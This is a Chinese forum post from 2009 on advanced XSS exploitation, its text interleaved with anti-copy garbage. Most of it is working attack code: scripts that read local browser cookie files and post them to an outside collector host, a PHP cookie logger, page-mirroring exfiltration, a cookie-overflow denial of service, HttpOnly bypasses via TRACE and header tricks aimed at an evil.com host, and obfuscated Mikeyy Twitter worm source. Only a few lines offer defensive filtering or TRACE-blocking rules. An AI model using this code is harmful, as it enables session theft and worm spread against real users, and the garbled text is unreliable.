XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
, X0 O8 j9 D) j本帖最后由 racle 于 2009-5-30 09:19 编辑
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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http://bbs.tian6.com/thread-12711-1-1.html
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5 Q, M- W$ D2 c+ m. j-------------------------------------------前言---------------------------------------------------------1 R7 E. H$ s8 E$ h+ F% v+ o" Q
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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% _, [9 O7 N0 j" ]* {如果你还未具备基础XSS知识,以下几个文章建议拜读:
% I9 [* M: p) U/ E( U/ [http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
( t( u% l3 ~$ a- n& a7 yhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
+ g! V- q4 s; v8 C7 ~6 W# Chttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
- C- C7 e q3 U6 `) A6 \, Q& Qhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
: i- U0 ^, s( E, @5 N/ f( Uhttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
2 D8 N' r1 h( z2 Z6 ]http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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. i( |7 V" U+ S# o- y4 L如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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0 F) j. |4 R& _希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.; c$ V% U" O* I9 g! E, U5 O
# h4 U# _ b9 M: b* f如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大" t: O" k* `3 x1 o5 F- z
& a0 C$ E* S: ?& hQQ ZONE,校内网XSS 感染过万QQ ZONE.: }; \2 N- R, n8 |
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪& ~! C* _) s) J! {; y" b8 @% @
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复制代码------------------------------------------介绍-------------------------------------------------------------
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.2 x1 t$ I& {# L* P8 s
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跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
) f; I5 E2 `5 [% ^) d复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
# p; J# `* j7 v c2 e8 k" y我们在这里重点探讨以下几个问题:
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6 u& B! g7 `# S8 `$ n2 b1 通过XSS,我们能实现什么?
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1 @# B6 m! l8 _& m4 A2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?0 E4 a* c' u7 q! A* s t1 m
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?6 |9 ?4 W ]) e( _" k8 G
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4 XSS漏洞在输出和输入两个方面怎么才能避免.( n4 E% f8 U5 N& o6 c" X' \* [
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------------------------------------------研究正题----------------------------------------------------------
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.% @, e" z8 [2 ~- W
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
2 X. ~. i1 h' h2 {2 a! B! X复制代码XSS漏洞在输出和输入两个方面怎么才能避免.* D2 R3 U3 s9 w4 l, p0 k" O
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.6 b- z& q% T( g3 P; B
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.' Q; {: W6 P% A( |
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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0 }( ]' _6 l$ {/ M) U, I& Z2 \0 C我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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d* Y1 b2 O( f' I G9 R3 G 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。- L& A. L& l- X/ t
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. J; u! R) {; r1 w* I7 B+ z 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.8 N; B4 j& ^) j9 o, Q# W! L
复制代码IE6使用ajax读取本地文件 <script>3 x7 \8 f' c2 H
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function ajax_obj(){3 F' b2 `3 {) h( m. m7 A
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} else if(window.ActiveXObject) {
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];3 L. Z s; W& o( W9 \( m; }7 i
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for(var i=0; i<versions.length; i++) {
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return request;
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var _x = ajax_obj();
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function _7or3(_m,action,argv){
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_x.open(_m,action,false);* E- }" D/ B3 Q; ^1 {
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return _x.responseText;3 @2 n) h) Z1 l7 X- `9 X r
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alert(txt);
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复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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var request = false;) i% B9 p7 c3 T' r8 W, _/ |
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if(window.XMLHttpRequest) {' W' s7 E# G& h5 Z
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request = new XMLHttpRequest();7 c! m7 d6 A$ C& L0 e
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for(var i=0; i<versions.length; i++) {6 A2 B5 I# E' g! r, {, h9 S# g# ]
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try {5 u1 N3 P% f! z% w
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} catch(e) {}
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return request;7 c- }& V5 C" f" S5 n1 z
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);
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return _x.responseText;4 X3 A2 h. S" ^# Z& |% m" R
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: f6 U: F r% G* q8 e! U: i var txt=_7or3("GET","1/11.txt",null);
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( G- u, L: n* l; y! N: s </script>
0 T' t2 ^2 p O$ l复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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! d9 q3 K7 T2 HChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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( g. s. i. l: q: Z% r6 i2 ^/*
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% J3 b7 ~8 j+ w# b+ ^- s+ ~, c. ] author voidloafer@gmail.com 2009-4-22 ) w6 i" q9 M. x2 k
: U$ |: |( X1 g O7 v3 P8 s8 D http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. S6 Q( Z, q3 n" T& A0 H
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header("Content-Disposition: attachment;filename=kxlzx.htm"); ! m8 ?8 U! [0 @/ E2 J+ O% `& B' L
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header("Content-type: application/kxlzx"); * i) p* }1 g$ z7 P# D1 |
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/*
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3 l$ W9 g- J2 \7 L set header, so just download html file,and open it at local.
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*/
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?>
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> 1 K' O, y/ g9 p4 h4 g V# u
% T8 m% _1 R' J3 A/ x. S1 k6 J3 z <input id="input" name="cookie" value="" type="hidden"> % K8 V" x2 b0 E
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</form>
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<script> ) D/ k+ f$ _2 j* k8 `( T6 l2 X
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8 I' j/ P9 b+ T) ~! [$ V' |% r$ `var time = Math.random();
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* [# f. e3 X! g) Y0 N7 a, x8 { O/*
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the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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+ ]" H; P6 t1 s3 J' x8 f2 }3 band the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History & _& X; K: ] p1 p1 F4 V/ }
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" D+ i7 o5 {( e) f9 ]5 Q7 Evar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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startRequest(strPer); 8 R6 U. c$ ?# i2 f! ]9 i+ y
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function Enshellcode(txt) $ A$ ?8 f/ Q: n. J' { d
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{
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var url=new String(txt); 2 I+ d# w2 l) i8 w) E( p; V
. C5 z' T) k+ C6 H5 [var i=0,l=0,k=0,curl=""; ; b+ p1 P6 x1 [$ B1 A! X$ I6 [
/ A: c$ r7 U* @7 |# y" I/ ~+ t0 `l= url.length;
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; a- ^& e0 F" \8 P; O- D# e k8 xfor(;i<l;i++){
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k=url.charCodeAt(i);
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7 @* C: l" _3 z: V) c' nif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} 3 L2 x/ Z" @4 A3 q) t9 f
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if (l%2){curl+="00";}else{curl+="0000";}
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, z k6 e6 i% r3 s, h5 {. \curl=curl.replace(/(..)(..)/g,"%u$2$1"); $ \: _% X4 F# u) ^$ A. U! C
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return curl;
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}
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var xmlHttp; - C; |( L( J2 M! t& i0 [
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function createXMLHttp(){ 0 h, F, e$ W9 }; f' N
$ L, p- {; L; a; d+ `6 Q& f1 U if(window.XMLHttpRequest){ 9 e; h) j! Z- `+ R# e
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xmlHttp = new XMLHttpRequest(); & H. l; m2 C) J$ `6 M$ Q
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else if(window.ActiveXObject){ ( j3 G/ v! j% f9 ]7 j. h
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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function startRequest(doUrl){
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createXMLHttp();
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xmlHttp.onreadystatechange = handleStateChange;
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, Q2 b! i! }+ e xmlHttp.open("GET", doUrl, true);
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0 `6 ^% m! \3 J% e xmlHttp.send(null); # ^4 X8 {; m) p2 d& ]: d
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- r, p4 Q& u' N1 Jfunction handleStateChange(){
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2 X" u- m0 J0 E# C% C M if (xmlHttp.readyState == 4 ){
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var strResponse = ""; ; S, L* ?- h/ h F; @
! ]7 b, n+ Q/ | setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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7 N9 w5 `' _" o' Y% }% E' [function framekxlzxPost(text) 9 I9 T* H9 j- O O
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3 x# t& w5 `% }9 g9 ?& l document.getElementById("input").value = Enshellcode(text);
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# |' Y b* R% [; J6 U document.getElementById("form").submit(); ; Y g" b/ a+ ~/ b6 o
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doMyAjax("administrator");
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</script>( L6 }. V2 @* U' r
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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var xmlHttp;
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function createXMLHttp(){ ' ` V) @& N6 ~
( R! l% o' F6 K3 D0 i' L6 S if(window.XMLHttpRequest){ . i6 |" a6 l; ^0 t; `8 x/ p' e1 p# I/ {
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xmlHttp = new XMLHttpRequest(); ' u: e) T- s4 z
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( f3 b6 C) j* I \' T; q else if(window.ActiveXObject){
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- d: ?( V4 m" F3 ]: @9 V xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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} ; L! v7 `( D. ~6 I: X, |! |) H
: r6 F/ }5 n; ]7 n( L3 S | , \, r" {" ]: a' m% r: q
: c5 B+ {0 {, x' B& Ifunction startRequest(doUrl){
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. x, Y2 S% d" \% D; p/ {2 D createXMLHttp();
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xmlHttp.onreadystatechange = handleStateChange; 8 J- I1 T+ b; ^$ a! X0 u4 \
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xmlHttp.open("GET", doUrl, true); ; x G& c. M3 W& S* O) g" G8 k9 p% u3 T
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xmlHttp.send(null); g" k0 o& l, k+ x! C6 K4 c
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}
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function handleStateChange(){
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if (xmlHttp.readyState == 4 ){ C% M; a, k% b% ?( f2 B+ u
/ e6 v6 t1 _, p: k9 r/ Q; {8 t var strResponse = "";
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# X- x1 {2 x1 e5 J' d6 K$ N# ^3 ^4 b& m* p setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); : O1 f) S7 c$ O6 b! q6 T
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}
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function doMyAjax(user,file)
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var time = Math.random();
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7 T' I% i: p/ J. t& q* | var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; 2 [1 o( u, O; C! B! i, z
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startRequest(strPer);
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function framekxlzxPost(text) 0 r5 R; G/ l) P" u
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document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); . p/ q9 n' e+ o+ o% k
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alert(/ok/);
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/ ] |# f6 \& W# T$ J( S8 hdoMyAjax('administrator','administrator@alibaba[1].txt'); " F1 F$ L. C8 S2 }2 `
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' k" C' w9 ~- T0 ?1 x( l</script>, E/ d) q2 [& b6 i
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a.php+ |* y" O2 t) L0 t: D
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9 \: `6 c+ _; P! W7 z<?php - S9 [9 ^ x+ F, ~4 s
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7 s6 x1 U" M7 ~. v) N0 F$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; : i( H, B/ }1 ], K# @( U# |4 m
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$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
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- J$ y3 v/ f; `1 H$ x$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); ; u9 Y' g w" `( \0 A
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fwrite($fp,$_GET["cookie"]); ; U0 U$ D: o9 q4 I4 s5 ~* \
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fclose($fp);
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?>
* \" a' a6 J. l J( b- b复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:% V4 i( t4 k( w
* v8 b& J; w! Q* Z8 f或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.& M! y# ~$ }2 [2 s K8 q0 @9 Q
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.( g/ e/ ?- D# z$ F
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);; }& D8 L8 W' Z* o' F& @, j
& C8 h2 V% |8 ~: J2 D4 N//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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! n0 x0 H/ h3 f2 V; g: g2 p//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);& T/ r$ T; U6 j* i) i- ~. j' ]
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function getURL(s) {
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) A. l# D t6 R, T2 K0 Ivar image = new Image();1 h' q# b* I# E9 H) ?8 K' F3 {
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image.style.width = 0;5 Y3 L: ?$ W1 L1 v2 d, n
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image.style.height = 0;! N( r& C* @" X! F2 K& d" n
! j' s9 q7 z$ V: ~' U* J6 Gimage.src = s;* E8 D1 V7 S7 U: H& V3 M u
8 t$ u3 _0 ]1 F; t) {}
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getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText); q: }! [9 o: j! G; @! R g% ^
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.8 N+ \% Z O5 q/ w
这里引用大风的一段简单代码:<script language="javascript">
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var metastr = "AAAAAAAAAA"; // 10 A9 @0 C- X( | i" S% Q
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var str = "";' ~# d; \& n* \8 H6 v
; `, A- t. R' t* \8 m. F5 jwhile (str.length < 4000){
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. H# s& T# r* } str += metastr;
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, `& C& s/ {; f& s% F1 D; vdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html1 h( J) l& n9 l) z. i+ G" d o
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
- d$ P& U. e2 M. E: Dserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
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7 W8 _: O6 S1 b- z. m假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.3 _1 y5 ?* H9 H+ c4 n' u) h9 Y& K
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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$ c* X) a* }+ k k(III) Http only bypass 与 补救对策:
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' m/ S/ e0 x7 k; I7 Z& S什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
6 {3 F# ~2 w. \; D/ U, e5 Y以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
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- g9 d# S! _ R4 j- [0 X<!--2 z4 }7 R" \4 v
! M8 Z0 s8 a0 _ Tfunction normalCookie() { 0 Q; _$ J% J) P( }& ^8 z
4 S+ D! R0 k4 T' g$ E: wdocument.cookie = "TheCookieName=CookieValue_httpOnly"; # e6 q Q$ S/ v9 w
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alert(document.cookie);
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) f6 g3 B* c- y% a- }function httpOnlyCookie() { & R/ d. D" F' g" ]$ j Y; j
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document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
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alert(document.cookie);}
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//-->
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</script>, o5 j) v: N9 K# p D
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l- L# ]# D4 a. ?3 G, ~<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
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1 V( X7 ]; t. M* ]<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>2 U' v4 M$ y* H$ \% s5 ?
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
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+ i2 `5 k8 v2 W+ \% N2 V/ Nvar request = false;8 X8 A2 y' E" }/ ^/ v% ^
- A( H/ w7 n% |4 W if(window.XMLHttpRequest) {9 L" |, O) u; n9 X) y
5 N( H" ~7 i/ W$ A request = new XMLHttpRequest();
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* Y# R% O2 v2 i4 e: f if(request.overrideMimeType) {! D% ], R4 \, W% ^" o
" t0 j# V1 G* x% q' U* E* ?1 q+ d3 P4 S request.overrideMimeType('text/xml');
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} else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];& s+ J/ G. w/ ]% o% Y2 @* c
- k. J& e) E) N& j for(var i=0; i<versions.length; i++) {. [, W3 K {8 p+ S/ a4 W/ f6 c
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try {
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' p* E3 D/ \& q7 M* Y request = new ActiveXObject(versions);3 y: }( ?4 q9 @
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} catch(e) {}
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, ^* s$ f* O( H ?+ o4 \
1 @8 I' G+ C2 F0 v }
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xmlHttp=request;' V" y) I$ Y3 q9 S. m1 i
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xmlHttp.open("TRACE","http://www.vul.com",false);& @& [$ r: e& v1 L W3 x8 R
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xmlHttp.send(null);6 S! c& \/ x9 B+ b7 ]! q! B. T
/ n5 J6 y u$ [9 k2 I8 D: pxmlDoc=xmlHttp.responseText;
% P" C- ]& g, `, t! `
; i, b: |, I0 W! S( D, Aalert(xmlDoc);
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</script>" @+ {9 o* P, q% E. p
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>- \5 U- S+ c( g
. F' z" b4 l9 s( c4 ]& w) n, Lvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");6 B9 b& I; C/ G" E+ o" S9 }# e" ~
3 R6 u; Y K1 h* W. q0 }XmlHttp.open("GET","http://www.google.com",false);
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0 M5 q4 U4 m1 O5 pXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
% @" ~& v( @7 q/ C; p$ ]' @! y& x5 B1 H1 F5 V
XmlHttp.send(null);
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B& t7 S6 G W5 U( Svar resource=xmlHttp.responseText& u' W8 i" ]- s
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resource.search(/cookies/);
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# H3 O' q% s3 Y/ W......................
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</script>
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2 O! h3 o' D2 S) M# y( v) D: p9 e* W" g/ J( F
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求; V$ P) U3 P' b" m4 Z
& ]9 `2 E. ]' c# W5 u/ {[code]% l9 _) @, L5 j# L8 G
6 O3 h, w8 u" M! r( ]: ^RewriteEngine On" _9 R( x. i$ ~
/ I2 ~' s8 ?1 X8 e/ N/ H
RewriteCond %{REQUEST_METHOD} ^TRACE
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RewriteRule .* - [F]
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) V9 y, L( x- j; O/ A, J Q7 I
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
! F: n* R) C# c s2 S0 ?6 E1 N4 |3 ~9 j: t9 w. E& j. ^
acl TRACE method TRACE+ O9 E! w n; q) d4 y0 w1 G3 s
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# C7 `8 a2 o# F* V- I) k. v4 }
http_access deny TRACE
3 ?7 e, W4 w# m2 O. D% a* d复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>3 |/ o4 z7 B/ H( {. S. [& v. H8 P
4 _1 Q$ I3 q0 Bvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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) E7 l8 A) v2 dXmlHttp.send(null);& Z) }0 }! `3 q: {* C
0 J, E# B: h7 Y' a( j</script>
" c- ? t* x. q8 \7 w8 W/ x复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
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6 M: k! K: f8 p8 _7 Kvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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2 [/ I5 ]6 b8 R' L3 U, D0 k8 @XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);, W# U% \8 o( j. z9 B% H
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XmlHttp.send(null);/ a( `2 Y! j1 C4 q
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<script>1 p2 _" u; f( r9 z7 R: s
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
& j& j R/ l9 F) u3 z0 P; s+ P: ~5 }复制代码案例:Twitter 蠕蟲五度發威
. Y0 s3 k: C/ j$ O9 C6 m第一版:
- c0 f6 ^" F) s& x. O; Z 下载 (5.1 KB)
0 v, \1 h- E) G) m H7 g! L6 `# w) L
6 天前 08:27
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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; 9 E* h5 e/ R* w+ L; }7 ^4 @
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2. # v% a3 k8 S: ?2 S! x
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3. function XHConn(){
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+ W: t. X6 m9 O. B5 U2 l/ o 4. var _0x6687x2,_0x6687x3=false; 9 D& V, Q% R; ~3 B7 p
0 _7 ]% r& ]; o R9 `+ o
5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } ! ~! H9 \- G- N) j' T
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } 7 a# W) I* ?6 g8 Q( U6 N' b
, Y! s+ ?3 y- Q9 Y; D7 ~4 S 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
]# B0 L& N: }0 ~# E" p
: J3 o& a& [8 D i1 e 8. catch(e) { _0x6687x2=false; }; }; };
" y( {$ O6 { B8 \* @, F复制代码第六版: 1. function wait() {
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2. var content = document.documentElement.innerHTML;
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" P" E( E7 n% {/ `6 |5 t# J5 Y8 j7 o f 3. var tmp_cookie=document.cookie;
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, X' \2 o' R/ I$ R% ? 4. var tmp_posted=tmp_cookie.match(/posted/); 4 Q: K8 [6 Y1 z& @! q( j9 b. D
+ Z; L% t# A# N- d9 J: ?
5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); j8 C0 J* X4 p
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6. var authtoken=authreg.exec(content); " u. o0 @ g- p1 E/ e% ?6 g" p
4 T- }; X# M |6 v/ J
7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array();
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$ t- S- j( A) l( m) D2 a 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; , W& e5 H6 c5 I1 u, `7 G4 _5 M
$ h: c1 {8 ^0 V) o 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; ' K- V! i& N/ m+ X. n
7 @& b. Q: L& _$ w& V 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
1 ]$ V# b$ E! c. h0 `/ A+ X
* H2 _1 A6 S) c1 K3 z- W, F 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; 5 Z# H; G0 d) _4 r( p: k$ X- Y
; m/ t5 Y% a' J4 i1 t 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; + Y4 h b% o% d& @& U V: I
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; : t7 Y5 k7 h5 R0 u3 i* _. [! X
+ l& ]7 e" X1 I4 ?% e
16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; . y7 Y L; }0 v9 V' }2 i" ~7 H
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18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; 0 e/ i e$ |0 \
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; : t* o1 R* p W1 I
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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$ D7 @$ Y; j( y7 _( T! d7 I9 ^6 \ 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; . ]7 ~$ V' r3 B9 {& A0 Z& O# k4 `
9 Z& v( S* X. o1 L$ Q, A g% y 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; ' ~ P5 D8 o$ Y; N6 ]" ?& R
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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24.
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; ) }0 f4 @5 x4 Q: t
3 u- w, ]- Q: X# ~: A0 w( X: P 26. var updateEncode=urlencode(randomUpdate[genRand]); / `5 P# x1 z$ m5 {9 c# q
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27.
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28. var ajaxConn= new XHConn(); # m6 e* Y$ `( T- L. l
